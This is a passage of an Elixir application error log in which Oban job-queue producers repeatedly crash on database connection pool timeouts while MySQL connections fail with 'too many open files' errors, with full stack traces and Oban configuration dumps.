dispatch_timer: #Reference<0.2525715032.1068498948.15167>, refresh_timer: #Reference<0.2525715032.1121189889.122024>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:33:50.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 893ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:33:39.239962Z], limit: 50, uuid: "c837feaa-d5d8-41a4-9cb5-080030efa111", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:33:39.239967Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.15170>, refresh_timer: #Reference<0.2525715032.1099431938.22994>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:33:52.287000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:33:54.362000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:33:55.157000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:33:55.578000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:33:55.994000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:33:58.942000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:34:00.746000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:34:01.973000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:34:02.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1097ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:33:50.239711Z], limit: 5, uuid: "3903d010-1b5b-40b9-b816-d4cda5a472a9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:33:50.239717Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.15519>, refresh_timer: #Reference<0.2525715032.1077411843.252429>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:34:02.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 877ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:33:50.239629Z], limit: 5, uuid: "24518266-dd97-4813-832c-29785a93c84a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:33:50.239635Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.15517>, refresh_timer: #Reference<0.2525715032.1068498948.15490>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:34:02.241000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 856ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:33:50.239185Z], limit: 20, uuid: "748c3adb-31e5-495d-872e-6431d16f41cc", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:33:50.239189Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.122263>, refresh_timer: #Reference<0.2525715032.1099431938.23040>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:34:02.240000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 880ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:33:50.239123Z], limit: 10, uuid: "5197a86a-f8da-4fa5-89f1-a9830fd5a960", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:33:50.239130Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.122264>, refresh_timer: #Reference<0.2525715032.1099431938.23038>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:34:02.241000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 844ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:33:50.239720Z], limit: 50, uuid: "5ca7b175-bdb3-439e-9384-3620892e9f3f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:33:50.239726Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.15518>, refresh_timer: #Reference<0.2525715032.1068498948.15493>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:34:02.240000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 851ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:33:50.239670Z], limit: 3, uuid: "e79ad8a9-8acc-4255-af8e-c105ab46542f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:33:50.239675Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.15520>, refresh_timer: #Reference<0.2525715032.1077411843.252427>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:34:03.064000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:34:11.149000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:34:13.671000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:34:13.879000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:34:14.142000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:34:14.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1010ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:34:02.246324Z], limit: 20, uuid: "f58ad8a0-d17a-48eb-b011-b8c867bcf749", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:34:02.246330Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.15856>, refresh_timer: #Reference<0.2525715032.1068498948.15845>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:34:14.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1081ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
